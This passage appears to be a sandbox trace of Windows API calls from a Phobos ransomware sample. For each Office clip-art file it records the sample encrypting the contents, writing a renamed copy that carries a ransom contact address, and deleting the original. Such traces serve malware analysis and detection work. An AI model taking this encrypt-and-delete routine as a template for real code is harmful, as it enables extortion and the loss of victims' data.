(hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.010] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.010] CryptDestroyKey (hKey=0x10d170) returned 1 [0056.010] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.010] CryptDestroyKey (hKey=0x10cab0) returned 1 [0056.010] CloseHandle (hObject=0x2e4) returned 1 [0056.010] CloseHandle (hObject=0x320) returned 1 [0056.011] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0056.012] SetEvent (hEvent=0x2e8) returned 1 [0056.012] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.018] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5375) returned 1 [0056.018] CloseHandle (hObject=0x320) returned 1 [0056.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0056.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.018] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.018] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.019] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0056.019] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.019] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x14ff, lpOverlapped=0x0) returned 1 [0056.072] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1500, dwBufLen=0x1500 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1500) returned 1 [0056.072] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1500, lpOverlapped=0x0) returned 1 [0056.073] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0056.073] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.073] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.073] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0056.073] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.074] CryptDestroyKey (hKey=0x10cf70) returned 1 [0056.074] CloseHandle (hObject=0x320) returned 1 [0056.074] CloseHandle (hObject=0x2e4) returned 1 [0056.075] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0056.076] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.076] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5016) returned 1 [0056.076] CloseHandle (hObject=0x2e4) returned 1 [0056.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0056.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.077] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.077] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.077] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0056.077] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.077] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1398, lpOverlapped=0x0) returned 1 [0056.079] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13a0) returned 1 [0056.079] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x13a0, lpOverlapped=0x0) returned 1 [0056.080] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0056.080] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.080] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.080] CryptDestroyKey (hKey=0x10d170) returned 1 [0056.080] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.080] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0056.080] CloseHandle (hObject=0x2e4) returned 1 [0056.080] CloseHandle (hObject=0x320) returned 1 [0056.081] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0056.082] SetEvent (hEvent=0x2e8) returned 1 [0056.082] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.082] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4390) returned 1 [0056.082] CloseHandle (hObject=0x320) returned 1 [0056.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0056.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.083] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.083] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.129] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0056.129] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.129] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1126, lpOverlapped=0x0) returned 1 [0056.131] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1130, dwBufLen=0x1130 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1130) returned 1 [0056.131] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1130, lpOverlapped=0x0) returned 1 [0056.132] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0056.132] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.132] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.132] CryptDestroyKey (hKey=0x10d170) returned 1 [0056.132] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.132] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.132] CloseHandle (hObject=0x320) returned 1 [0056.132] CloseHandle (hObject=0x308) returned 1 [0056.133] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0056.134] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.135] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3966) returned 1 [0056.135] CloseHandle (hObject=0x308) returned 1 [0056.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0056.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.135] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.136] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb70) returned 1 [0056.136] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.136] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xf7e, lpOverlapped=0x0) returned 1 [0056.159] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf80, dwBufLen=0xf80 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf80) returned 1 [0056.159] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf80, lpOverlapped=0x0) returned 1 [0056.160] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0056.160] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.160] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.160] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0056.160] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.160] CryptDestroyKey (hKey=0x10cb70) returned 1 [0056.160] CloseHandle (hObject=0x308) returned 1 [0056.160] CloseHandle (hObject=0x320) returned 1 [0056.161] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0056.162] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.175] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3120) returned 1 [0056.175] CloseHandle (hObject=0x2e4) returned 1 [0056.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0056.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.175] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.176] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.401] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0056.402] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.402] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xc30, lpOverlapped=0x0) returned 1 [0056.410] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc40, dwBufLen=0xc40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc40) returned 1 [0056.410] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xc40, lpOverlapped=0x0) returned 1 [0056.411] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0056.411] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.411] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.411] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0056.411] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.411] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0056.411] CloseHandle (hObject=0x2e4) returned 1 [0056.411] CloseHandle (hObject=0x31c) returned 1 [0056.412] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0056.413] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.413] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4734) returned 1 [0056.413] CloseHandle (hObject=0x31c) returned 1 [0056.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0056.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: 